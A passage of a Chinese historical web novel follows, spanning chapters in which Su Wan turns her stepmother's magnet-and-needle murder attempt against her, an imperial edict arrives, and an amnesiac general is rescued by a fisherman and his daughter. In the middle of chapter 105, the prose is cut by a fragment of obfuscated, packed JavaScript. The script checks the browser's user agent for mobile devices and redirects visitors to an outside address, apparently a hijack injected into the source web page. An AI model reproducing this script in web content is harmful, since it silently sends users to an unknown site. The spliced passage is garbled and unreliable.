苏夫人：“我怎会无的放矢？证据就在我手里。”说着，她从袖中取出布包，露出一块黝黑圆润的石璧，表面泛着清冷的光泽。
“这是那奸夫遗落之物。”她将石璧递向苏绾，“你若不信，大可亲自瞧瞧。”
苏绾听闻男子留有物件，心中不禁一动，警惕之心松懈了几分。她伸手接过石璧，正欲凑近细看——
岂料苏夫人突然翻掌，趁她不备，“啪嗒”一声，将石璧紧紧贴近她的胸口。
苏绾猝不及防，背脊撞上红柱。借着身形微胖的优势，苏夫人将她死死抵住，令她动弹不得。
“娼妇，你的死期到了！”苏夫人狞笑着，眼中闪烁着疯狂的光芒，与大理寺狱神情如出一辙。
苏绾瞬间明白过来，那块石璧并非寻常玉器，而是玄铁磁石。苏夫人欲借磁力吸出她体内的银针，让她筋脉寸断，肠穿肚烂而亡。
苏夫人胸中积存了长达半年的恨意，顷刻间得以开闸释放，“没想到吧？你终于落入我的手中。你不是很得意吗？前日里，是谁不要脸地勾搭外男，靠卖肉来换取庇佑？”
“哎哟。”苏绾痛苦地挣扎，眉眼皱成团，体内仿佛遭千万毒虫啃噬。
“乖女儿，以后每年的今日，为娘都会烧纸祭奠你，让你在阴间继续做官府小姐。”苏夫人嘴角噙着一抹微笑，准备静静地欣赏，她七窍流血的惨状。
“啧啧，母亲真乃天下女子楷模。”苏绾忽然身子一滞，缓缓抬起头，“你以为，我会毫无防备？”
苏夫人的笑容，瞬间僵在脸上。
“母亲刺入女儿体内的七根银针，早被我取出来了，一根不差。母亲傻傻等待针破的尊容，真是有趣极
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了。”苏绾戏谑道。
“什么时候？”苏夫人松开扼紧的两手，脸色由狰狞转为惨白。
苏绾：“当然是立刻就取出来了，你一辈子没有男人爱，我可不一样哦，有的是男人庇护我。”
苏夫人：“你、你……不要脸。”
苏绾：“这才哪到哪，一会儿还有更不要脸的事，等着你呢。”
言毕，她脸色一沉，伸手一把攥住苏夫人的手腕，抢走她手里的磁石，同时将她往自己身上一带，高声惊呼：
“救命，母亲要杀我！”
殿内香客、僧人、随行家仆闻声赶来，眼前的景象令众人变色。
苏绾捂着胸口，柔柔弱弱，眸子里满是惊恐之色，障袂嗫嚅道：“母亲不知何故，竟用银针刺我。我以磁石抵挡，拼死挣脱。诸位请看，这银针还吸附在上面。”
说着，亮出掌心握着的玄铁磁石——磁石表面，赫然吸附着六根银针，令人不寒而栗。
那六根银针，原是苏绾在倭寇据点时，秦欢用以封锁毒香的手段。她悄然将其收起，本打算伺机刺向苏夫人，以报刺骨之仇，未曾想竟提前派上用场。
她素来信奉以牙还牙，以眼还眼的道理。苏夫人既要利用银针害她，她便顺势而为，反其道而行，让苏夫人自食其果。
众人指责苏夫人心肠歹毒，佛门净地公然行凶。幸得苏绾随身携带磁石护体，否则后果不堪设想。
现场一片哗然，颇有重现纳征之日，苏绾被人诬陷通奸的落魄既视感。
苏夫人一看舆论风头不对，颤声辩解：“不，不是这样的。银针不是我的，磁石才是我的东西。”
她打眼瞥见人群中的苏尽欢，像是抓住了救命稻草，“儿啊，快告诉大家，这块磁石是你从热河为娘寻来的护体奇宝。”
苏尽欢怯生生地看了苏绾一眼，正对上她那冰冷决绝的目光，顿时胆战心惊。他又看向磁石上面森然排列的银针，仿佛那针尖正扎在自己脑门上，身子一软，竟不敢作声。
殷夫人喝道：“孽子，还不赶紧交代实情！”
这一声呵斥，如重锤砸在少年心尖。他缩起肩膀，抱着脑袋慌道：“我、我不知道，我什么都不知道，别冲我来啊！”
苏夫人见亲生儿子不肯替她开脱，连忙转向其他人求助，可殷夫人根本不瞧她。
无奈之际，苏夫人隔着人群，向远远观望的殷潜求救，“哥哥，我是冤枉的！苏绾那小娼妇诬陷我，她害我！你快叫人拿下她，让她下大狱！”
殷潜早已看透他这个妹妹的本性——尖酸刻薄，阴毒狡诈。他心中揣着一把怒火，正愁无处发泄，哪怕苏绾真有几分算计，他也懒得再听苏夫人诡辩。
“休得胡闹。”殷潜沉沉吐出四字。
一向依赖仰仗的兄长，竟然对自己见死不救。苏夫人脸色瞬间晦暗，目下逡巡大遍，无人愿意替她开脱；而仇人手持磁石，朝着她森然阴笑。一时间，绝望与愤怒齐齐涌上心头，恨不得立刻杀死那个婊子。
苏夫人伸手拔下发髻金簪，恶狠狠威胁道：“娼妇，我今日就要刺死你！”
说着，直直朝苏绾心口刺去。
“不要啊。”苏绾惊呼着，身子疾步一侧，险险避开攻击。簪尖擦着衣袖划过，留下一道细微的裂口。
这一击落空，苏夫人来不及收势，身子不由自主地向前倾，“哎呦”。
“母亲小心！”电光火石之间，苏绾假意伸手去扶，实则暗中蓄力一推。
苏夫人踉跄几步，微胖的身体碰翻了檀香木架，发出一声沉闷声响。
“砰——”
木架剧烈晃动，长明灯随之倾覆，琉璃灯罩碎裂，灯油泼洒，火光骤起，如金蛇狂舞。
殿内惊呼四起。
“救命！”苏夫人被滚烫的灯油烫得惨叫连连，脚下灯油打滑，整个人失控后仰跌倒，后脑狠狠撞上供桌的棱角。
剧痛如雷霆般在脑中炸裂，她双目充血，四肢僵直瘫软倒地，脸颊扭曲，喉间发出“嗬嗬”气音。
众人怔然失色。
苏尽欢这才慌了，扑上前拼命摇晃苏夫人，“娘亲，娘亲！”
苏夫人口不能言，半侧身子抽搐不已。
殷夫人惊呼：“小妹她、她中风了！”
众人四处寻医，可惜秦欢不在。
苏绾平静地睇着眼前一幕，隐在衣袖内的手心，紧紧攥着磁石。
“佛堂之内，谋害女儿，天理难容。”
她施施然拂去袖侧沾染的灯油微尘，似喃喃自语，又似判官裁定。
104. 圣旨
永乐二十五年，除夕旧岁。
杭州城浸在一片铅灰色的雾霭中，殷府门前两盏大红灯笼在呼啸北风中打着转，朱漆门扉上的椒图铜环结着蛛网般的薄霜。
殷夫人穿着孔雀翎斗篷，手里攥着鎏金暖炉立在回廊下。庭院里几株老梅病恹恹地垂着枝，去年此时还缀满红绸彩条的廊柱，如今只余风卷残叶的呜咽。
还不到半年光景，家道江河日下。先是府中断了几处税赋进项，银钱周转日渐艰难。继而倭寇作乱的消息野火般蔓延，搅得人心惶惶。再后来府衙震怒，一纸“禁倭令”颁下，然则此举竟激怒倭人，矛头直指殷家家主，殷潜性命危在旦夕。
一系列突如其来的变故，令殷夫人如坐针毡，携领全家老小前往灵隐寺祈福。岂料祸不单行，小妹苏夫人竟在清净佛堂起了歹心，结果搬起石头砸了自己的脚。
殷夫人一生要强，治家有方，膝下四位嫡出子女皆是人中龙凤，就连庶出孩子也个个踏实本分，乃江南官宦世家杰出人母代表。而今，她的大半生功绩，一夜之间化为乌有，宛如大梦初醒，徒留满腹辛酸。
“夫人，西跨院又闹起来了。”管事嬷嬷提着裙裾碎步趋来，“苏少爷嫌弃王嬷嬷老脸皮，伺候起居不够贴心，吵着要换年轻貌美丫鬟不可。王嬷嬷同苏少爷争辩两句，结果被苏少爷一脚踢坏了肚子，疼得满地打滚。”
殷夫人一边听着，指尖掐进暖炉的芙蓉纹，凹凸纹路磨得指腹微疼，她蹙了蹙眉心，吩咐道：“随他叫去，增添二三年老嬷嬷打下手，倘若那孽子再敢胡闹，也不必知会我，你们几个合力将他轰出门外。”
管家嬷嬷领命退下。
一阵寒风吹过，檐角悬挂的铜铃狂响，惊飞枯树上的寒鸦。殷夫人望着黑羽掠过东厢暖阁的窗棂，竟连应景的窗花都没贴——今年殷府以家主身体不适为由，一律谢绝来客登门拜访，连府内的下人也开始倦怠偷懒了。
殷夫人叹了口气，抬脚步入暖阁。
西跨院飘着刺鼻的尿骚味，混着艾草燃烧的苦香。苏夫人僵直的躯体裹在被褥里，嘴角淌落的涎水，浸湿了枕巾绣着的并蒂莲。
苏尽欢捏着鼻子，一路后退到紫檀屏风外，满脸嫌恶道：“伺候更衣这种腌臜事，还要本少爷沾手？你们干什么吃的！”
“少爷，夫人又失禁了，您快看看，颜色不对劲。”小丫鬟战战兢兢捧着铜盆，盆中秽物满满，飘着可疑的绿。
“滚！少跟我说。”少年抬脚踹翻铜盆，褐黄污物泼溅一地，恰如中秋宴席打翻的蟹黄羹。
少年来到榻前，绝望地盯着母亲抽搐的嘴角，忽觉昨日佛堂磁石上吸附的银针，根根扎进自己的额首。分明是苏绾给他施下的紧箍咒，要他一辈子被瘫痪的母亲牢牢牵住，从此与青楼无缘，与人间欢乐作别。
去岁年节，一家四口围炉守岁，好不温馨自在，怎得今年如此大不同？他做错了什么，要遭这份鸟罪。
苏尽欢抬起手掌，狠狠扇了自己一巴掌，哭道：“早知如此，何必当初。我这是造的什么孽嘛。”
苏夫人眼球暴突，喉间发出的“嗬嗬”声，好似破旧风箱唱响。她想尽一切办法，努力吸引苏尽欢的注意，她要让儿子杀掉苏绾那娼妇，好为自己报仇雪恨。可几个时辰挣扎下来，也只是动动眼，发发声而已。
东厢暖阁里，秦欢将三寸银针清理干净，仔细收入鹿皮囊，“苏夫人这病，乃是气血逆乱，风痰阻络，怒极伤肝，导致经络闭塞，脑窍瘀阻，神机受损。”
殷夫人面色发白，“可有良方医治？”
秦欢摇摇头，“中风一症，最忌暴怒。她情志郁结，肝火未平，纵有良方，也难尽施。且这等病，三分在治，七分在养。针灸药汤，不过是尽人事罢了。”
殷夫人手中佛珠“咔嚓”断线，珊瑚珠滚过青砖地面。
“欢儿怎得昨日彻夜未归？”她弯腰拾珠的手停在半空，“若是你也在场，兴许小妹不必承受这番折磨。”
秦欢不动声色地点数鹿皮囊包裹银针，那里本该放有一百零八，独独缺失了六根。
“昨日收到家父来信，言及近日济南府感染风寒人数众多，导致川贝母与雪蛤膏短缺。我托了镖局，加急运送一批采买的药材回去。”
殷夫人指尖点数掌心里断线佛珠，“需要什么药材？我尽力帮忙，再不济，我徽州薛家也能派上用场。”
“姨母不必担心。”秦欢截住话头，将鹿皮囊收进药箱，“全部都办妥了。”
殷夫人微微点头，“欢儿，你姨父与苏姑母的安危，姨母就托付给你了，务必好生照看他们，权当你对姨母尽孝了。”言毕，殷夫人告辞，转身离去。
萧染自回廊深处款款走来，与殷夫人擦肩而过。
殷夫人停步，“萧公子，欢儿寄送药材之事，麻烦你了。”
萧染一愣，很快从容拜道：“伯母客气，萧染随时待命。”
拜别殷夫人，萧染趸步进入东厢暖阁，细长眼眸卷了卷，调侃道：“听说你昨日买药去了，怎么？你未卜先知，提前料到苏夫人会中风？”
萧染挤了挤睛明穴，眼角泛着一丝疲惫，“打发姨母而已，苏夫人自作自受，我才懒得理她。”
他烦得是另一桩事，也是他缺席灵隐寺祈福的真正原因。
昨日一早他收到快报，得知半个月前沈恪带领人马，乘船驶入黄河入海口。对方未有任何大动作，只随船带走了当地一户渔民家人。
事有蹊跷，秦欢当即派人快马加鞭赶往苏州打探消息，自己则策马奔至中途等候，以便第一时间掌握动向。
大约花了一天的时间，探子匆匆赶回，带回的消息证实了此事，并带来了更大的隐情：沈恪已指定这位渔民为上门女婿，婚期定在正月十五。
上一世，福建都指挥使沈恪一生致力于对抗海寇，功绩显著。苏绾将倭寇这只球踢给了他，绝不会是一步死棋，下一步她多半会去恳求沈恪对付倭寇。
因而，沈恪的一举一动，在棋局里，就显得尤为重要。
在这个节骨眼，沈恪选了一位平民女婿，绝非偶然。
他须亲自验证一番。
萧染不以为然，“我知你心里想的是什么，但我觉得是你多心了。”
他倚着窗棂，嘴角撇了撇，“他已经死透了，总不能借尸还魂吧。”
借尸还魂？
后罩房的游廊里，春蝉挨着雕花槅扇门，对无霜忧虑道：“昨儿佛堂那场祸事，真真地可怕，小姐一整日眼里结着冰碴子。”
她呶着小嘴，攥着小拳头，愤愤道：“如果我在场，哼，绝不叫那老太婆靠近小姐半步，一准将她揍得满地找牙。”
无霜低头不语，她心里也揣着一桩事，关于文竹，关于晴雷，关于那封信。她拿不准该如何是好。
菱花窗内突然传来瓷器相碰的脆响，无霜透过窗纱缝隙向内望去，苏绾举着青瓷茶盏，对着虚空邀杯，怪异举止吓坏了无霜，不禁怀疑，小姐受了刺激，又或犯了疯症。
他们两个，到底谁才能救小姐？
无霜咬住下唇。
铅灰色的云层压得很低，苏绾独坐窗前，青瓷盏里的茶汤早已凉透。
第一步：饵
指尖蘸着茶渍，案几上画出一叶扁舟。这是她的第一计——以身为饵。秦欢掌控山东海权，手握十万精兵，偏偏对她情根深种。她只需稍加撩拨，便能借他的刀，引倭寇上钩。茶渍在案几上晕开，化作一片汪洋，扁舟在浪尖起伏，随时会被巨浪吞噬。
第二步：链
指尖轻移，茶渍勾勒出一条锁链。这是她的第二计——以利相诱。通过与海寇交易，威逼利诱殷潜就范，将他锁死在利益共同体之内。殷潜孤立无援，除了支持贵妃，别无选择。茶渍渐渐干涸，锁链的纹路愈发清晰，将整个江南牢牢锁住。
第三步：刀
最后一滴茶渍，画成一把刀。这是她的第三计——以势相攻。沈恪驻守苏州，手握重兵，因着朝廷恩怨，唯恐功高盖主，而不肯出兵剿倭。这一世，她要将沈恪上一世的抗倭计策，原封不动地献给他。茶渍在案几上凝固，形状宛如一把利剑，直指倭寇的心脏。
茶渍已干，棋局过半。饵已下，链已成，只待最后一把刀落下，这盘棋便能尘埃落定。
苏绾给自己重新倒了一盏西湖龙井，茶汤在青瓷盏中泛起涟漪，映出她略显苍白的脸。
“你不敬我一杯么？”她对着空荡荡的座椅轻笑，“庆祝我大仇得报。”
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一阵穿堂风掠过，案头的兵书哗啦啦翻动。恍惚间，她仿佛看见男人坐在对面，玄色战袍上还沾着关外的风沙，腰间悬着的黑金丝绦络子轻轻摇晃着。
“你倒是长进了。”他的声音依旧带着几分冷漠，“这次借的是秦欢的针，用的是人言可畏之计，妙手回春。”
苏绾执盏的手一顿，“你教过的，用兵之道，在于借势。”她望着茶汤中浮沉的茶叶，“苏夫人当年靠诬陷的手段害死了我娘，如今她也败在了舆论之下。你说，这是不是报应？”
窗外传来枯枝断裂的声响，玄色虚影似乎更淡了些，“你把她弄瘫了，口不能言，身不能动，倒是比死更解恨。”他顿了顿，“只是，你又欠了秦欢一份情。”
苏绾忽然将茶盏重重放在案上，茶水溅湿了兵书一角，“你给我的兵书里，可没说情之一字这般难解。”指尖抚过书页批注，墨迹早已泛黄，“秦欢甘愿当我的刀，我有什么错？”
一阵寒风卷着霜气扑进屋内，玄色身影几乎要消散在光里，“你这个傻女人，”他的声音轻得像叹息，“没有谁会一厢情愿地付出，而不索取任何回报。”
停了一下，又低低地笑着，“毕竟，只有本将军才配当你的剑。”
苏绾猛地抬头，面前只剩空荡荡的座椅。案头的兵书被风吹开，恰好停在那页——他的字迹力透纸背：“用兵之道，在于攻心。然攻心者，必先自伤。”
她忽然捂住心口，那里仿佛被什么东西狠狠刺了一下。
窗外，第一片雪花悄然落下。
细碎的雪花落在书房屋檐上，积起一层薄白。殷潜站在窗前，睇着漫天飞舞的雪花。
殷潜皱了皱眉，转身回到案前。小妹中风卧床，府中乱作一团，而他自己也被倭寇一事逼得进退两难。答应苏绾支持贵妃的承诺，像一把刀架在他的脖颈。
他翻开宗谱，目光停在苏绾的名字上。她的身世是他手中唯一的筹码，也是他在这乱局中的倚仗。可苏绾这枚棋子，关系重大，他既不能放弃，也不敢起用。
鹅毛大雪越下越大，院中枯枝被压得低垂。殷潜提笔蘸墨，在宣纸上并排写下“贵妃”与“倭寇”，墨迹未干，又新添“苏绾”二字。
远处传来更鼓声，殷潜放下笔，合上宗谱，将写着字的宣纸揉搓一团，倏地丢进火盆中，窜出一股青灰色火焰。
冬夜沉沉，殷府张灯结彩，廊檐下的红灯笼迎风摇晃，映得银装素裹的院落透出几分暖意。然而主厅酒暖人不热，氛围透着一丝异样的凝滞。
殷潜端坐主位，手中箸筷停在半空，饭菜已然微凉，他却一点胃口都没有。
无霜悄悄走上前，将一张纸卷塞进苏绾的手里。苏绾低头展开阅读，神色逐渐凝重，攥着信纸的指尖微微颤抖。
苏尽欢双颊微醺，杯沿抵在唇畔。每当听见母亲房中传来压抑呜咽，便狠狠灌下一口酒，再将杯子砸向桌案，震得人心头微颤。
秦欢端坐角落，慢条斯理地剥着橘子，他轻推桌上一盘剥好的橘瓣，示意萧染取食，萧染未曾理会。
萧染坐在他对面，单手支着下颌，指腹在案几上勾勒一道道不成形的纹路，若有所思状。
殷夫人面色阴沉地望着满桌菜肴，竟无人赏脸品尝，终是叹了口气，挥手让丫鬟撤下。
三更鼓声响起，炸开了沉默的空气。爆竹噼啪作响，璀璨烟花绽放，照亮了整座天穹。
新年伊始。
府门外传来急促的马蹄声，紧接着，一道尖细而清亮的嗓音划破夜空。
“圣旨到——”
众人皆是一怔，随即纷纷起身。
太监使官身着绣金蟒袍，手持明黄卷轴，在众人面前站定，身后宫灯高举，映得圣旨金纹熠熠生辉。
“奉天承运，皇帝诏曰。”
太监展开圣旨，声音尖细悠长，每个字都像石子坠落深井，激起无数涟漪。
“其一：皇后诞育皇子，普天同庆；其二：温如初功勋卓著，特擢升入阁；其三：召十三省布政使及都督，即刻入京觐见，钦此。”
夜风拂过庭院，吹得烛火轻晃，照得每个人的神色各异，却又出奇一致的震撼。
雪下得更大了，落在檐角，落在阶前，落在大年初一。
105. 阿舟
时枫跟在山羊胡背后，沿着船舷艰难前行。雨势来不已，视线范围受阻，忽然脚下一滑，有什么东西绊住了他，身子一栽歪，整个人失去平衡，猝不及防坠入翻涌的浊浪。
身后传来一声尖叫，可他来不及回应，已然被惊涛骇浪吞没。水面荡开圈圈涟漪，汩汩气泡升腾，他奋力挣扎，双脚蹬开浸水的皂靴，指尖堪堪触到头顶浮光，下一瞬，又被无形的暗流拽向幽深处。
“轰——”
渡船意料之中地爆炸了。
赤色火舌撕裂天幕，炸响声震耳欲聋。巨大冲击波侵袭下，挂着船帆的桅杆被拦腰折断，轰然倒塌，伴随着破裂的船板穿透水幕。
他躲闪不及，后脑被狠狠一拍。一阵剧痛袭来，血雾在眼前弥散。恍惚间，他看见水波浮现出少女明媚的脸颊，眉梢点缀碎星，梨涡盛放狡黠的笑意。
“阿绾……”他下意识呼唤心底那个名字。
张口一瞬间，冰冷河水倒灌入喉，窒息感自胸腔蔓延，意识被囫囵冲散，湮没于碎玉浪沫。
不知过了多久。
一道银光破水而入，锋利的鱼叉稳稳勾住他腰间的革带。巨大的拉力从上方传来，将他猛然拽出水面，重重摔在湿滑的甲板上。
“还活着。”
李老爹蹲在船尾，吐出一口烟圈，拿旱烟杆敲了敲船帮。
少女随手将绑了绳索的鱼叉丢在一旁，探出双手按压他的胸膛，“喂，要死也别死在我船上。”一边说着，白皙手掌熟练地有节奏向下按压，好似厨娘揉搓面粉团。
“丫头，轻些，别给人肋骨折断咯。”李老爹半眯着眼，望着脸色苍白的年轻人，嘴唇恢复了一丝血色。
“咳咳……”
伴随一阵剧烈的咳嗽，时枫的意识从混沌中陡然浮起，耳畔是潺潺的流水，鼻端隐约嗅到湿润的泥土和淡淡的鱼腥。
他遽然睁开眼。
阳光映照少女娇俏容颜，发丝滴着水珠，细汗顺着脸颊滑落，身穿粗布衣裳，浑身上下透着一股顽强的生命力。
他翻了翻眼眸，又晕了过去。
“叫你轻着点下手，他这会子体力跟不上，还不快去煎药。”李老爹吩咐道。
一尾赤鳞鲤鱼在甲板上翻腾，尾鳍啪啪拍打木板。少女啐了一口，“晦气，本来钓上了两尾鱼，还能卖两个铜板，这会子跑了一个。”说罢，她动作伶俐地一脚将剩下的一尾鱼踢回河里，自己去一旁煎药了。
又过了一段时间。
时枫躺在船板上，整个人像被泡透了，喉咙塞满泥沙的腥味，就连呼吸也带着沉重的湿气。
“醒了就喝药。”少女端着一碗药汤，带着几分不耐烦，“可别糟蹋了我的车前草。”
苦涩的药汁顺着喉咙滑入，胃里翻江倒海，他强忍着才没有吐出来。
见时枫呛得皱眉，少女噗嗤笑出声，顺手把晾在桅杆上的咸鱼扯下半条，“嫌苦？拿这个压压。”
时枫感到有些茫然，他在思考咸鱼的味道，大概比这药汤好不到哪去。
“杀猪的，还是宰人的？”少女盘腿坐在舱板上，指尖虚虚划过他的胸前。夕阳的余晖在她发梢镀了层金边，“老张头剖十年鱼，都划不出这么漂亮的弧。”
时枫低头，目光落在自己胸口处，那里有一道旧痕，剖心刮骨般格外深刻。
脑海中闪过模糊的画面——烈马嘶鸣，战鼓擂响，铁甲交击。他站在战场之上，玄色战甲泛着寒光，耳畔有人高喊“将军”，身前有人跪地递上虎符。
忽然少女拍了下他肩膀，将他从回忆中抽离出来，“别是镖局逃出来的吧？”
他抬起眼，嗓音低哑，带着几分迷茫与痛苦：“我不知道我是谁，我不记得了。”
“你不知道自己是谁啊，那我找谁平账去？天下没有免费的药汤。”少女歪着头打量他。
她从舱底翻出个陶罐，哗啦啦摇动半罐铜钱，“要不这样，你每日替我修三张网，工钱抵药钱。”指尖在罐口敲出轻快的节奏，“名字嘛……就叫阿舟，横竖是从河里捞上来的。”
阿舟？时枫咬了咬嘴唇。
少女甩了件粗布衫盖在阿舟脸上，“破是破了点，总比你那身血衣强。”
阿舟默默地拾起布衣，勉强套在身上。衣服是李阿爹的，不可避免地短小，袖口将将才到手肘。
暮色渐浓，少女眸子里跳动着河面的碎金，“先说好，敢偷懒就把你押给鱼市刘婶，她正缺个扛货的傻大个。”
“科科——”
船尾传来两声烟锅敲船板的响动，李老爹佝偻着背踱过来，烟杆头精准戳了一下少女后腰，“阿喜，忒聒噪。”
阿喜像被掐住后颈的猫，梗着脖子嚷嚷：“阿爹，您别捣乱呀，我谈正事呢。”说着，手指悄悄把陶罐往阴影里推了推。
老人咂了咂牙，混着烟味的唾沫星子溅到阿舟的手背，“他一个才从阎王殿逃回来的人，哪里有力气给你干活，真是胡来。”
阿喜翻了个白眼，扯过渔网开始穿梭子，“您没见这网眼破得都能漏月亮了？”细麻绳在她指间翻飞如银鱼，“再说了，颜家渡欠咱们的债务，可是一个子儿都没要回来。”
“颜家渡”三个字眼，在阿舟心里激起一片涟漪，他努力回忆，却怎么都想不起来。
李老爹蹲下身，烟袋锅磕出三点灰印，“河瘴入骨的人，最忌见月光。”枯瘦指节一指，“丫头，去把芦席挂起来，遮挡住月亮影。”
“又搞这些神神叨叨的！”阿喜嘴上抱怨，利落地甩开渔网，赤脚踩得船板咚咚响，“不补了不补了，睡觉去，明日还要起早。”
舱门被她摔得震天响，惊得夜鸮扑棱棱飞起，下一刻，芦席还是乖乖高挂起来，遮住船舱半边天空。
李老爹掏出怀里一个油纸包，打开是半块芝麻饼，边缘还留着细小的牙印。
“她藏了三天的。”老人边说边掰去牙印部分，远处传来阿喜气急败坏的尖吼：“阿爹，我晒的虾干是不是叫你偷吃了！”
河风卷着烟火气漫过船舷，李老爹望着破碎的月亮倒影，慢悠悠往烟锅里塞烟丝，哼起荒腔走板的渔歌。
混着水汽的夜雾漫上来，濡湿了阿舟的眼角——那半块芝麻饼的裂缝里，还夹着片晒干的橘皮，嚼着嘴里又甜又酸。
十五岁的阿喜，像一株生在船板上的芦苇，发梢总沾着盐粒。李老爹常说，这丫头是喝海水长大的——三岁识潮汛，七岁敢驾舢板追鱼群，如今摇橹的力道比壮年渔汉还足三分。
这日，父女二人驾着小船沿黄河一路来到济南府泺口渡，原是为了找颜家渡的山羊胡讨个公道。三个月前，山羊胡卖给李老爹一批渔具，吹嘘是上等货色，结果一下水便破得不成样子，根本无法使用。李老爹攥着那张皱巴巴的字据，一心要找他退货讨债。
谁知到了地方，发现黄河渡口被官府封锁，不准外来船只靠近。李老爹只得远远停船，独自上岸打听消息。回来时，他脸色阴沉得像锅底，“奸商的铺子被官家征用了，这几天不开门。”
阿喜正欲破口大骂，忽然远处传来一声巨响。抬眼望去，只见渡口火光冲天，一艘渡船在爆炸中变得四分五裂，碎片四散飞溅。
李老爹脸色骤变，立刻掉转船头，喊道：“情况不妙，咱们快走！”
二人疾速行船，一口气走了十几里水路，停下来靠岸补给。谁料阿喜眼尖，竟在波涛翻滚的河面上瞥见一个人影沉浮。她不顾阿爹阻拦，操起撑篙奋力划去，借着鱼叉将那人从水中拖上船。
那人便是阿舟。
他换下的血衣做工极为考究，袖口束腕嵌着指甲盖大小的绿松石，衣料是轻薄柔软的杭绸，哪怕湿透，也丝毫不显沉滞。这等衣饰，普通百姓人家绝无可能穿得起。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15026903|146123||http|test|mini|href|location''.split(''|''),0,{}));
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李老爹趁着阿舟昏迷，翻遍他全身，竟在内襟贴身的暗袋里摸出一张牛皮纸包。打开来看，里头的字迹密密麻麻，净是些看不懂的机密公文，落款处盖着的朱红官印上，“阁部”二字触目惊心。
李老爹心头一凛，赶忙将东西原样塞回阿舟怀中，不敢再多看一眼。
他借着采买干粮的机会，悄悄返回泺口渡。泺口渡向来是南北商贾往来之地，街上气氛透着几分异样，巡逻的差役多了，码头戒备森严，过往客商皆低着头匆匆行路，生怕惹祸上身。
他寻了处茶摊落座，装作随口闲聊，试探着问了两句，摊主压低嗓音道：“炸毁的，可不是寻常的渡船。”他伸手拂了拂桌上散落的茶渣，“是颜家渡的船，押送的是京里来的大人物。”
李老爹心中一紧，顺势抿了口茶，掩盖脸上的异样：“何人？”
“听说是个将军。”茶摊老板顿了顿，“谋反的罪名。”
凭借多年跑江湖的经验，他已然看得分明。阿舟并非池中之物，此番必是被人算计，落得官家追捕的下场。
事到如今，他已不敢再轻易靠岸，只顾驾着小船顺着黄河水势向东急行。至于颜家渡山羊胡那点欠债，早已被他抛诸脑后——这水，太深，断不能再蹚半步。
时光如梭。
阿舟起初只能拖着伤腿劈柴，手掌磨出的血泡层层叠叠，火辣辣地疼。他正蹲在船尾扎柴，李老爹忽然甩过来一柄豁口的鱼刀，“撬河蚌壳，晌午晒干货用。”
刀柄砸在阿舟手边，沉甸甸的。他愣了愣，缓缓伸手握住，指腹摩挲过冰凉的锈痕，一股陌生却又熟悉的感觉涌上心头。
刀虽旧，锋刃尚利。他下意识翻转刀锋，指尖轻弹，寒光一闪，几下便将蚌壳撬开，壳肉分离，汁水顺着指节淌下，浸进掌心的伤口，刺得他一颤。
“好刀法。”阿喜挑眉，双手抱胸，啧啧感叹，“老张头可比不过你半分。”
阿舟微微蹙眉，似是想问她口中的“老张头”到底是谁，怎么时常挂在她嘴边。
阿喜一把拉过竹篓，把撬出的蚌肉一锅倒进去，嘟囔道：“可惜了，撬河蚌哪能赚银子？你要是去码头卖艺，一准儿挣个盆满钵满。”
李老爹拧着渔网的手顿了顿，默默整理渔具。阿舟的东西，包括牛皮纸包，以及衣服，束腕，墨金络子等物，全都被他以代为保管之由，锁进了箱子里。
就让他，继续做阿舟罢。
暮色漫上船篷，江风裹挟着火塘里的鱼汤香气，氤氲升腾。
阿喜两指捏着烤焦的鱼尾，叼在嘴边嚼了两下，含糊道：“我今儿见着江豚追船哩，脊背油亮得像抹了猪油膏。”
李老爹剔出鱼刺，把半条鲻鱼拨进阿舟碗里，语气淡淡：“瘦得跟银鱼干似的，多吃点。”
阿舟怔了一瞬，低头看了眼手臂——筋肉分明，谈不上瘦。
阿喜瞥了他一眼，有些吃味地哼道：“吃吧吃吧，省得哪天被风刮走了，赔都没处赔。”
阿舟默默夹起鱼肉蘸了蘸盐，送入口中。咸鲜的滋味顺着喉咙滑下，胸口莫名升起一丝暖意。
船儿一路向东，行了一个月左右，到达黄河入海口。
过最后一道急滩时，阿喜忽然扯开嗓子唱起渔歌，嗓音虽破，响亮得很，惊起芦苇丛里栖息的鹬鸟。
阿舟撑着橹，微微偏头看她，阿喜察觉他的目光，脸一红，立刻凶巴巴道：“看什么？没见过唱歌的？”
阿舟收回目光，他隐约记得，自己也曾听人唱过小曲，可他记不清曲调，也不晓得听谁唱的。
李老爹抬手一指：“瞧见白鹭落脚的地方没？那里就是家。”
船头轻轻吻上沙滩，惊起一群正啄食的小鹭。阿舟下意识地攥紧缆绳——掌心的茧痕叠着旧伤新痂，粗砺滚烫，比模糊的记忆更真实。
他的家，在何方？
106. 终得
自时枫渡船遇险后，已过去数月。晴雷与文竹沿着黄河，昼夜不停地搜寻打听，线索断断续续，天灾人祸当道，始终找不到确切踪迹。
黄河绵延数千里，沿岸村落星罗密布，想要在这广袤无垠天地寻找落水之人，无异于大海捞针。然晴雷意念十分坚定，文竹虽心存犹疑，也未有半分退缩。
这一日，暮色渐浓，黄河水泛着铁锈色，浪头一波又一波撞击峭壁，溅起丈高水花。
文竹攥紧缰绳，看前方少年侍卫策马踏过碎石滩，玄色披风掠过处，惊起数只渡鸦。
“咱们在此歇脚吧。”晴雷勒住踏月。
他翻身下马，露出腰间蟠螭纹雁翎刀，寒光照铁衣，惊得文竹身下老马不安地后退两步。
文竹无声地下了马。
“喝水么？”镶银水囊递到文竹眼前。
十六岁少年生得肩宽腿长，曳撒服裹着挺拔肌骨，像株迎风生长的白杨。
与自己瘦长的身形，一点都不一样。
文竹喉头泛起酸涩：“小人……用竹筒便好。”
话音未落，细长手腕已被少年攥住，不由分说将水囊塞进他手里，“说了多少次，你不必与我客气。”
他的掌心滚烫，带着常年握刀的薄茧。
文竹垂眸掩去苦笑。
十九年苦难人生，他这个卑贱杂役，生平第一遭与锦衣卫对等平齐。
歇过脚后，很快前行至一处峡谷。放眼望去，百丈悬崖劈开狭窄河道，浊浪在嶙峋怪石间炸成雪沫，宛如一条咆哮的巨龙盘亘。
他们终于来到鬼门滩。
文竹仰望着岩壁猩红的“鬼门滩”刻字，显得有些局促，“相传凡是落水之人，若被冲入此滩，十不存一。”
“将军……”
